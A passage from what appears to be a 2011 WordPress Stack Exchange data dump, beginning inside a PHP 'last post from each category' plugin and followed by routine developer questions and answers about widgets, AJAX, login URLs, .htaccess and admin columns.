{$tp}post2cat, {$tp}categories&#xA;            WHERE {$tp}posts.ID = {$tp}post2cat.post_id&#xA;            AND {$tp}categories.cat_ID = {$tp}post2cat.category_id&#xA;            AND post_status = 'publish'&#xA;            AND post_type != 'page'&#xA;            AND post_date &amp;lt; '$mysqlnow' &#xA;            {$cat_list_code}&#xA;            {$hide_check}&#xA;            {$sort_code}&#xA;        &quot;);&#xA;&#xA;&#xA;    } else { // post 2.3&#xA;&#xA;        $cat_list_code = '';&#xA;        if (trim($ddle_exclude) != '') {&#xA;            $ddle_exclude = (array)explode(',', $ddle_exclude);&#xA;            foreach ($ddle_exclude as $de) {&#xA;                $cat_list_code .= &quot; AND {$tp}terms.term_id != '&quot; . trim(mysql_escape_string($de)) . &quot;' &quot;;&#xA;            }&#xA;        } else if (trim($ddle_include) != '') {&#xA;            $ddle_include = (array)explode(',', $ddle_include);&#xA;            $cat_list_code .= &quot; AND ( &quot;;&#xA;            $cat_tmp = array();&#xA;            foreach ($ddle_include as $de) {&#xA;                $cat_tmp[] .= &quot;  {$tp}terms.term_id = '&quot; . trim(mysql_escape_string($de)) . &quot;' &quot;;&#xA;            }           &#xA;            $cat_list_code .= implode(&quot; OR &quot;, $cat_tmp);&#xA;            $cat_list_code .= &quot; ) &quot;;&#xA;        }&#xA;&#xA;        $last_posts = (array)$wpdb-&amp;gt;get_results(&quot;&#xA;            SELECT post_date,&#xA;                ID,&#xA;                post_title,&#xA;                {$tp}terms.name as cat_name,&#xA;                {$tp}terms.term_id as cat_ID&#xA;            FROM {$tp}posts, {$tp}terms, {$tp}term_taxonomy, {$tp}term_relationships&#xA;            WHERE {$tp}posts.ID = {$tp}term_relationships.object_id&#xA;            AND {$tp}term_relationships.object_id = {$tp}posts.ID&#xA;            AND {$tp}term_relationships.term_taxonomy_id = {$tp}term_taxonomy.term_taxonomy_id&#xA;            AND {$tp}terms.term_id  = {$tp}term_taxonomy.term_id&#xA;            AND {$tp}term_taxonomy.taxonomy = 'category'&#xA;            AND post_status = 'publish'&#xA;            AND post_type = 'post'&#xA;            AND post_date &amp;lt; '$mysqlnow'   &#xA;            {$cat_list_code}&#xA;            {$hide_check}&#xA;            {$sort_code}&#xA;        &quot;);&#xA;&#xA;&#xA;    }&#xA;&#xA;    if (empty($last_posts)) {&#xA;        return NULL;&#xA;    }&#xA;&#xA;&#xA;    $the_output .= stripslashes($ddle_header);&#xA;&#xA;&#xA;&#xA;        if ($ddle_sort == 'datea') {&#xA;            $last_posts = array_reverse($last_posts);&#xA;        }&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    if ((int)$ddle_max_per_cat &amp;gt; 0) {&#xA;&#xA;        $used_cats = array();&#xA;        foreach ($last_posts as $posts) {&#xA;            $used_cats[$posts-&amp;gt;cat_ID] = $ddle_max_per_cat;&#xA;        }&#xA;&#xA;        $i = 0;&#xA;        foreach ($last_posts as $posts) {&#xA;            if ($used_cats[$posts-&amp;gt;cat_ID] &amp;gt; 0) {&#xA;                $used_cats[$posts-&amp;gt;cat_ID] -= 1;&#xA;            } else {&#xA;                unset($last_posts[$i]);&#xA;            }&#xA;            $i++;&#xA;        }&#xA;&#xA;        $last_posts = array_values($last_posts);&#xA;&#xA;    }&#xA;&#xA;&#xA;&#xA;    if ($ddle_sort == 'datea') {&#xA;        $last_posts = array_reverse($last_posts);&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    $the_output .= '&amp;lt;ul&amp;gt;';&#xA;    $limit_check = 0;&#xA;&#xA;    $last_cat = NULL;&#xA;    $multi_cats = FALSE;&#xA;    if ($ddle_max_per_cat &amp;gt; 1)&#xA;        $multi_cats = TRUE;&#xA;&#xA;    $result = array();&#xA;&#xA;    foreach ($last_posts as $posts) {&#xA;&#xA;    if (($ddle_limit == 0) || ($limit_check &amp;lt; $ddle_limit)) {&#xA;&#xA;&#xA;&#xA;        if ($last_cat != $posts-&amp;gt;cat_ID) {&#xA;&#xA;            if ($last_cat != NULL) {&#xA;                $the_output .= ($multi_cats) ? '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;' : '';&#xA;            }&#xA;&#xA;            $the_output .= '&amp;lt;li&amp;gt;';&#xA;&#xA;            $the_output .= '&amp;lt;b&amp;gt;';&#xA;            if ($ddle_cat_links) {&#xA;                $the_output .= '&amp;lt;a href=&quot;' . get_category_link($posts-&amp;gt;cat_ID) . '&quot;&amp;gt;' . $posts-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;';&#xA;            } else {&#xA;                $the_output .= $posts-&amp;gt;cat_name;&#xA;            }&#xA;            $the_output .= '&amp;lt;/b&amp;gt;: ';&#xA;&#xA;&#xA;            $the_output .= ($multi_cats) ? '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;' : '';&#xA;&#xA;        } else {&#xA;&#xA;            $the_output .= '&amp;lt;li&amp;gt;';&#xA;&#xA;        }&#xA;&#xA;&#xA;&#xA;&#xA;        $the_output .= '&amp;lt;a href=&quot;' . get_permalink($posts-&amp;gt;ID) . '&quot;&amp;gt;' . $posts-&amp;gt;post_title . '&amp;lt;/a&amp;gt;';&#xA;&#xA;&#xA;        if ($ddle_show_date) {&#xA;            $the_output .= ' - ' . date_i18n($ddle_date_format, strtotime($posts-&amp;gt;post_date));&#xA;        }&#xA;&#xA;&#xA;        if ($ddle_comment_link) {&#xA;&#xA;            $result = &quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;comments WHERE comment_approved = '1' AND comment_post_ID = '&quot; . $posts-&amp;gt;ID . &quot;'&quot;;&#xA;&#xA;            $num_comments = $wpdb-&amp;gt;get_var($result);&#xA;&#xA;            if ($ddle_comments_none || ($num_comments != 0)) {&#xA;&#xA;                $the_output .= ' - &amp;lt;a href=&quot;' . get_permalink($posts-&amp;gt;ID) . '#comments&quot;&amp;gt;';&#xA;&#xA;                if ($ddle_comment_num) {&#xA;&#xA;                    $the_output .= $num_comments . ' Comment';&#xA;&#xA;                    if ($num_comments != 1) {&#xA;                        $the_output .= 's';&#xA;                    }&#xA;&#xA;                } else {&#xA;                    $the_output .= 'Comments';&#xA;                }&#xA;&#xA;                $the_output .= '&amp;lt;/a&amp;gt;';&#xA;&#xA;            }&#xA;&#xA;&#xA;        }&#xA;&#xA;&#xA;        if ($ddle_excerpts) {&#xA;&#xA;            $the_text = $wpdb-&amp;gt;get_var(&quot;SELECT post_content FROM &quot; . $tp . &quot;posts WHERE ID=&quot; . $posts-&amp;gt;ID);&#xA;            $the_output .= '&amp;lt;br /&amp;gt;';&#xA;            $the_output .= substr(strip_tags(trim($the_text)) , 0, $ddle_chars);&#xA;            if (strlen(strip_tags(trim($the_text))) &amp;gt; $ddle_chars) {&#xA;                $the_output .= &quot;...&quot;;&#xA;            }&#xA;        }&#xA;&#xA;&#xA;&#xA;&#xA;        $the_output .= '&amp;lt;/li&amp;gt;';&#xA;&#xA;        $last_cat = $posts-&amp;gt;cat_ID;&#xA;&#xA;&#xA;    } // end limit if&#xA;&#xA;    $limit_check++;&#xA;&#xA;    }&#xA;&#xA;    $the_output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    $the_output .= ($multi_cats) ? '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' : '';&#xA;&#xA;&#xA;    return $the_output;&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;function ddle_generate($content) {&#xA;&#xA;    if (strpos($content, &quot;&amp;lt;!-- ddlastfromeach --&amp;gt;&quot;) !== FALSE) {&#xA;        $content = str_replace(&quot;&amp;lt;!-- ddlastfromeach --&amp;gt;&quot;, dd_last_from_each(), $content);&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter('the_content', 'ddle_generate');&#xA;&#xA;add_action('admin_menu', 'ddle_add_option_pages');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5897" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-06-03T08:16:06.950" LastActivityDate="2011-06-03T08:16:06.950" CommentCount="2" />
  <row Id="19108" PostTypeId="1" CreationDate="2011-06-03T07:59:36.410" Score="0" ViewCount="26" Body="&lt;p&gt;I have a members only site that uses separate image gallery software. I'd like only logged in users to be able to access the image gallery. How can I include a check for an active cookie or session in my image gallery script?&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-06-03T07:59:36.410" Title="Use cookie authentication to give access to non WordPress pages?" Tags="&lt;cookies&gt;&lt;authentication&gt;" CommentCount="2" />
  <row Id="19109" PostTypeId="2" ParentId="19103" CreationDate="2011-06-03T08:01:38.990" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Multiple Post Thumbnail&lt;/a&gt;  This Plugin Works Fine With your Requirements but You Should Follow the rules .Click Here  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9899/multiple-post-thumbnails-plugin-and-attachment-error&quot;&gt; Useful Link for you&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-03T08:01:38.990" CommentCount="1" />
  <row Id="19110" PostTypeId="1" CreationDate="2011-06-03T08:15:19.900" Score="0" ViewCount="41" Body="&lt;p&gt;Like Lifehacker and several other sites, would like to know how to add # before tags displayed on the site.&#xA;for e.g. instead of a tag like &quot;abc&quot;, how about &quot;#abc&quot;. - is there a way to automatically add # across all the tags present in the system?&lt;/p&gt;&#xA;" OwnerUserId="5898" LastEditorUserId="5898" LastEditorDisplayName="" LastEditDate="2011-06-04T20:48:20.043" LastActivityDate="2011-06-04T20:54:19.487" Title="how to add # before tags?" Tags="&lt;tags&gt;&lt;template-tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19111" PostTypeId="2" ParentId="18855" CreationDate="2011-06-03T08:27:12.910" Score="1" ViewCount="" Body="&lt;p&gt;To use the WordPress ajax url you can pass the var using wp_localize_script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'functions', get_bloginfo( 'stylesheet_directory' ) . '/js/functions.js', array( 'jquery' ), false);&#xA;    wp_localize_script( 'functions', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your functions.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $.ajax({&#xA;                type: &quot;POST&quot;,&#xA;                url:  MyAjax.ajaxurl,&#xA;                data: {p:alt_p},&#xA;                success: function(data) {&#xA;                    alert(data);&#xA;                }&#xA;            });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-06-03T08:27:12.910" CommentCount="1" />
  <row Id="19112" PostTypeId="1" AcceptedAnswerId="19382" CreationDate="2011-06-03T08:29:22.650" Score="0" ViewCount="107" Body="&lt;p&gt;i want to do a research in Category List Area.&#xA;I'll Explain Here...&#xA;Now I have 4 Categories Like 1,2,3,4.&#xA;First of all it needs to show in the category pages Horizontally.Next is, While Clicking on Any Category  it will show the articles from only that category in this thumbnail format, this also should be in a format that allows for 40 or 50 potential articles to be shown this way.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-06T22:45:26.763" Title="How to Show Category List With Corresponding Links?" Tags="&lt;plugin-development&gt;&lt;posts&gt;&lt;categories&gt;&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="19114" PostTypeId="1" CreationDate="2011-06-03T08:41:03.627" Score="0" ViewCount="74" Body="&lt;p&gt;I downloaded yesterday Random Post Slider, but doesn't work, the author says:you have to put this code in theme  , but where? I tried everywhere, or gives me error, or nothing happens. I use free Premiumnews theme by Woothemes. If anyone can help me..Many Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5899" LastActivityDate="2011-09-03T21:40:59.717" Title="Random Post Slider has no effect" Tags="&lt;slideshow&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="19116" PostTypeId="1" CreationDate="2011-06-03T08:58:45.060" Score="0" ViewCount="41" Body="&lt;p&gt;I was told to &quot;get a stack trace&quot; when an error occurs in my WordPress installation. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is meant to be an easy place to refer others to. Please list plugins, configuration settings, PHP modules... that can do this. Consider that the user might be on a shared host, might want to log to a file instead of the browser, ...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-06-03T10:15:33.540" Title="Getting a stack trace when an error occurs?" Tags="&lt;development&gt;&lt;debug&gt;" AnswerCount="1" />
  <row Id="19117" PostTypeId="1" CreationDate="2011-06-03T09:02:30.657" Score="0" ViewCount="31" Body="&lt;p&gt;I have applied filter to change default login url with the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_login_url($login_url) {&#xA;    return ''.get_option('siteurl'). '/sign-in/';&#xA;}&#xA;add_filter('login_url','custom_login_url', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i echo wp_login_url(); then then result is correct i.e.&#xA;&lt;a href=&quot;http://localhost/my_domain/sign-in/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/my_domain/sign-in/&lt;/a&gt;&#xA;the problem is with the output of the plugin Register Plus Redux, it uses the same wp_login_url(); code in the message it creates when a new user is required to verify the email account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the url in the email comes out to be :&#xA;&lt;a href=&quot;http://localhost/my_domain/wp-login.php?verification_code=2sXaU9N7uypa1i0nSDcr&quot; rel=&quot;nofollow&quot;&gt;http://localhost/my_domain/wp-login.php?verification_code=2sXaU9N7uypa1i0nSDcr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have no clue whats going wrong....&lt;/p&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2011-06-03T09:02:30.657" Title="add_filter to login_url issue with plugin output" Tags="&lt;theme-development&gt;&lt;customization&gt;&lt;apply-filters&gt;" FavoriteCount="1" />
  <row Id="19118" PostTypeId="1" CreationDate="2011-06-03T09:08:02.033" Score="0" ViewCount="269" Body="&lt;p&gt;I have a situation where i need to display posts from a specific category from another wordpress site into my wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are my sites and i thought of creating a page specially for this in site A and calling them through iframe in site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought another way of fetching them feed.. But i dont know how to fetch feed contents from other wordpress and how to create a feed for a specific category.&lt;/p&gt;&#xA;" OwnerUserId="4452" LastActivityDate="2011-09-01T13:38:45.900" Title="How to get a post content from another wordpress blog/site?" Tags="&lt;posts&gt;&lt;multisite&gt;&lt;feed&gt;&lt;fetch-feed&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19119" PostTypeId="1" AcceptedAnswerId="19120" CreationDate="2011-06-03T09:08:10.920" Score="0" ViewCount="43" Body="&lt;p&gt;Hopefully, this is an easy question - I'm just a bit confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a custom widget with the usual structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget extends WP_Widget {&#xA;  function My_Widget() {&#xA;    // widget actual processes&#xA;  }&#xA;  function form($instance) {&#xA;    // outputs the options form on admin&#xA;  }&#xA;  function update($new_instance, $old_instance) {&#xA;    // processes widget options to be saved&#xA;  }&#xA;  function widget($args, $instance) {&#xA;    // outputs the content of the widget&#xA;  }&#xA;}&#xA;register_widget('My_Widget');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I's like to add my own custom function to it, so I can reuse it. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function item_width_cols_to_class( $cols_num = null ) {&#xA;    if( $cols_num ){&#xA;        switch ( $cols_num ){&#xA;            case '2':&#xA;                return &quot;col140&quot;;&#xA;                break;&#xA;            case '3':&#xA;                return &quot;col220&quot;;&#xA;                break;      &#xA;            case '4':&#xA;                return &quot;col300&quot;;&#xA;                break;      &#xA;            case '5':&#xA;                return &quot;col380&quot;;&#xA;                break;&#xA;            case '6':&#xA;                return &quot;col480&quot;;&#xA;                break;      &#xA;            case '7':&#xA;                return &quot;col540&quot;;&#xA;                break;      &#xA;            default:&#xA;                return &quot;&quot;;&#xA;                break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I add that code to My_Widget class I got an error saying: &lt;code&gt;&quot;Fatal error: Call to undefined function 'item_width_cols_to_class()'&quot;&lt;/code&gt;. I'd think it's possible to add custom functions to a widget as it extends the WP_widget class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help, Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-06-03T09:14:47.393" Title="Add a custom function to widget code" Tags="&lt;functions&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="19120" PostTypeId="2" ParentId="19119" CreationDate="2011-06-03T09:14:47.393" Score="0" ViewCount="" Body="&lt;p&gt;Where did you call your &lt;code&gt;item_width_cols_to_class&lt;/code&gt; &quot;function&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using the function as a method inside the &lt;code&gt;My_Widget&lt;/code&gt; class. Therefore, you have to call it with a reference to its non-existent object e.g. &lt;code&gt;$this-&amp;gt;item_width_cols_to_class()&lt;/code&gt; or &lt;code&gt;self::item_width_cols_to_class()&lt;/code&gt; (static).&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-06-03T09:14:47.393" CommentCount="2" />
  <row Id="19121" PostTypeId="2" ParentId="19118" CreationDate="2011-06-03T09:17:10.010" Score="0" ViewCount="" Body="&lt;p&gt;Instead of parsing the RSS feed, you could query the second blog directly with the builtin XML-RPC webservices, described in this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16119/wordpress-as-xml-rpc-client&quot;&gt;Question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-06-03T09:17:10.010" CommentCount="3" />
  <row Id="19122" PostTypeId="1" CreationDate="2011-06-03T09:20:36.573" Score="2" ViewCount="96" Body="&lt;p&gt;I am planning to have a new site created using WP pages. My company is focusing on 3 or 4 discrete areas and one of those I want to promote in particular, with its own set of pages. Ideally it would also have its own slightly different branding from the rest of the site, and pages in that section would have their own menu focusing on pages in that section - to avoid cluttering the main menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible/sensible with a single WP installation or would I be better setting up 2 separate ones (one on a subdomain)?&lt;/p&gt;&#xA;" OwnerUserId="5900" LastActivityDate="2011-06-03T15:19:27.377" Title="Can you have different menus and theme on a per-page basis?" Tags="&lt;custom-menus&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="19124" PostTypeId="1" CreationDate="2011-06-03T09:27:55.347" Score="0" ViewCount="322" Body="&lt;p&gt;How could I go about this…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a portfolio page, created using custom post-types, and on the portfolio page I have a number of thumbnails which I would like to link to each project I add through a custom post-type. Hope this part makes sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where it gets tricky, I want each of these thumbnails to make use of the Fancybox plugin so that when a user clicks on a thumbnail it brings up a div container with all of the content I from that particular project's post. Lost me yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a bit difficult to explain, but hopefully someone out there will know what I mean and suggest how I can cleverly make the page grab all of the content within that thumbnail's post and display it with the Fancybox 'pop out'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is simply because I have a lot of projects I want to display, and if I were to have a file which included pop up div with content for each project, the file would be huge! And I just don't think its a great way to manage things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ash&lt;/p&gt;&#xA;" OwnerUserId="5883" LastActivityDate="2011-09-04T12:42:06.873" Title="Displaying custom post-types in a Fancybox div and then linking to them" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="19125" PostTypeId="2" ParentId="13688" CreationDate="2011-06-03T09:35:46.757" Score="0" ViewCount="" Body="&lt;p&gt;...or try &lt;a href=&quot;http://themergency.com/generators/wordpress-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;WordPress Custom Post Type Code Generator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-06-03T09:53:17.293" LastActivityDate="2011-06-03T09:53:17.293" />
  <row Id="19126" PostTypeId="1" CreationDate="2011-06-03T09:42:10.173" Score="0" ViewCount="41" Body="&lt;p&gt;How does one convert a plugin into a function especially when a plugin is so small that it has only one file?&lt;/p&gt;&#xA;" OwnerUserId="4366" LastActivityDate="2011-06-03T10:00:16.873" Title="How to convert a plugin into a function" Tags="&lt;plugins&gt;&lt;embed&gt;" AnswerCount="1" />
  <row Id="19127" PostTypeId="1" CreationDate="2011-06-03T09:42:50.010" Score="0" ViewCount="60" Body="&lt;p&gt;I am trying to edit .htacess  manually, but it is not showing any changes to my site.Also tried installing &lt;a href=&quot;http://wordpress.org/extend/plugins/ozh-simpler-login-url/&quot; rel=&quot;nofollow&quot;&gt;Ozh simpler login URL&lt;/a&gt; plugin. I got the same problem at that time and it didn't accept the changes even after updating manually. I thought it is different problem. But now i realized this is an issue with my .htaccess or something &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized that My .htaccess file is not being updated . I tried to use another plugin &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/stealth-login/&quot; rel=&quot;nofollow&quot;&gt;stealth login&lt;/a&gt;&lt;/strong&gt; to know if it is .htaccess issue itself. (The  plugin updates the .htaccess file with custom rewrite rules. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I update the settings of stealth login page . I got this error message :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Settings saved but .htaccess file could not be updated./public_html/.htaccess&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I have tried updating the .htaccess file manually using the same code . But there is no change in login URLs . I think there is some problem in updating the .htaccess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me to know why the file is not updating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My WordPress Multisite Installaion is of 3.1.3 version &lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2011-06-03T09:42:50.010" Title=".htaccess not updating" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;errors&gt;&lt;htaccess&gt;&lt;update&gt;" CommentCount="1" />
  <row Id="19128" PostTypeId="1" AcceptedAnswerId="21104" CreationDate="2011-06-03T09:43:18.943" Score="0" ViewCount="165" Body="&lt;p&gt;What happened to the plugin in Wordpress plugin repository?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link doesn't work:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-no-category-base/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-no-category-base/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and search for this plugin doesn't list it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I know I can download it from author's page, but I am intrigued why would folks at wordpress.org remove it from their list?&lt;/p&gt;&#xA;" OwnerUserId="5902" LastActivityDate="2011-06-26T18:46:39.237" Title="What happened to WP No Category Base?" Tags="&lt;plugins&gt;&lt;wordpress.org&gt;" AnswerCount="3" />
  <row Id="19129" PostTypeId="1" AcceptedAnswerId="19152" CreationDate="2011-06-03T09:44:57.447" Score="0" ViewCount="21" Body="&lt;p&gt;Hi I would like to import tables through CSV, any particular plugins or functions that can help me do that? I would like to have them stand in their own table and then the user would be able to include them via shortcode and id e.g. [table id=1] Thanks&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-06-03T15:12:45.457" Title="CSV Import Tables" Tags="&lt;import&gt;" AnswerCount="1" />
  <row Id="19130" PostTypeId="1" AcceptedAnswerId="19330" CreationDate="2011-06-03T09:48:02.937" Score="0" ViewCount="37" Body="&lt;p&gt;I'm using this bit of code to generate a menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &amp;lt;div id=&quot;menu&quot;&amp;gt;&#xA;  &amp;lt;?php $args = array(&#xA;    'depth'        =&amp;gt; 1,&#xA;    'show_date'    =&amp;gt; '',&#xA;    'date_format'  =&amp;gt; get_option('date_format'),&#xA;    'child_of'     =&amp;gt; 0,&#xA;    'exclude'      =&amp;gt; '426, 508',&#xA;    'include'      =&amp;gt; '',&#xA;    'title_li'     =&amp;gt; __(''),&#xA;    'echo'         =&amp;gt; 1,&#xA;    'authors'      =&amp;gt; '',&#xA;    'sort_column'  =&amp;gt; 'menu_order, post_title',&#xA;    'link_before'  =&amp;gt; '',&#xA;    'link_after'   =&amp;gt; '',&#xA;    'walker' =&amp;gt; '' ); ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&amp;lt;div class=&quot;menu-button&quot;&amp;gt;&amp;lt;?php wp_list_pages( $args, 'sort_column=menu_order' ); ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's generating the menu fine but one of the links I need it to goto another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pick out that page by ID and tell it to goto a different address? If so, how can I do it?&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="5415" LastEditorDisplayName="" LastEditDate="2011-06-03T13:15:15.683" LastActivityDate="2011-06-06T14:52:25.973" Title="Pick out specific menu item from code" Tags="&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="19135" PostTypeId="2" ParentId="19126" CreationDate="2011-06-03T10:00:16.873" Score="1" ViewCount="" Body="&lt;p&gt;Plugins are just files with functions with special comments. You can take the complete code and copy it into your &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But … don’t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you depend on the theme to get the plugin’s functionality. You cannot turn the plugin off separately. You have &lt;strong&gt;zero benefit&lt;/strong&gt;, not even performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don’t look too long at the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;question 1567&lt;/a&gt; – 80% of the code snippets there are purely plugin material and do not belong into a &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-03T10:00:16.873" CommentCount="3" />
  <row Id="19136" PostTypeId="1" CreationDate="2011-06-03T10:01:32.343" Score="0" ViewCount="80" Body="&lt;p&gt;I am using &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;Scribu's Sortable Columns&lt;/a&gt; example to sort our custom post types, but nothing is working. It's probably something simple, but I cannot seem to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'manage_edit-shoe-drops_columns', 'BFGShoesColumns' );&#xA;add_filter( 'manage-edit-shoe-drops_sortable_columns', 'BFGSortableColumns');&#xA;add_action( 'manage_posts_custom_column', 'BFGShoesColumnsData', 10, 2 );&#xA;&#xA;function BFGShoesColumns($columns) {&#xA;    $columns = array(&#xA;        'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;        'title' =&amp;gt; 'Name',&#xA;        'bfg_shoe_drop_date' =&amp;gt; 'Drop Date',&#xA;        'bfg_shoe_drop_num' =&amp;gt; 'Number of Shoes',&#xA;        'bfg_shoe_drop_province' =&amp;gt; 'Province'&#xA;    );&#xA;    return $columns;&#xA;}&#xA;&#xA;function BFGShoesColumnsData($column){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    switch($column){&#xA;        case 'name':&#xA;            echo $post-&amp;gt;post_title;&#xA;            break;&#xA;        case 'bfg_shoe_drop_date':&#xA;            echo $custom[&quot;bfg_shoe_drop_date&quot;][0];&#xA;            break;&#xA;        case 'bfg_shoe_drop_num':&#xA;            echo $custom[&quot;bfg_shoe_drop_num&quot;][0];&#xA;            break;&#xA;        case 'bfg_shoe_drop_province':&#xA;            echo $custom[&quot;bfg_shoe_drop_province&quot;][0];&#xA;            break;&#xA;    }&#xA;}&#xA;&#xA;function BFGSortableColumns( $columns ) {&#xA;    $columns['bfg_shoe_drop_date'] = 'bfg_shoe_drop_date';&#xA;    $columns['bfg_shoe_drop_province'] = 'bfg_shoe_drop_province';&#xA;    return $columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you take the the Scribu example and compare, there is nothing glaringly different. The custom post type is correctly registered, and I have tried this with both custom taxonomies and without.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, none of the column headers are clickable so I cannot sort. The actual sorting works fine if I add the query string to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly I need sleep. The answer was simple. 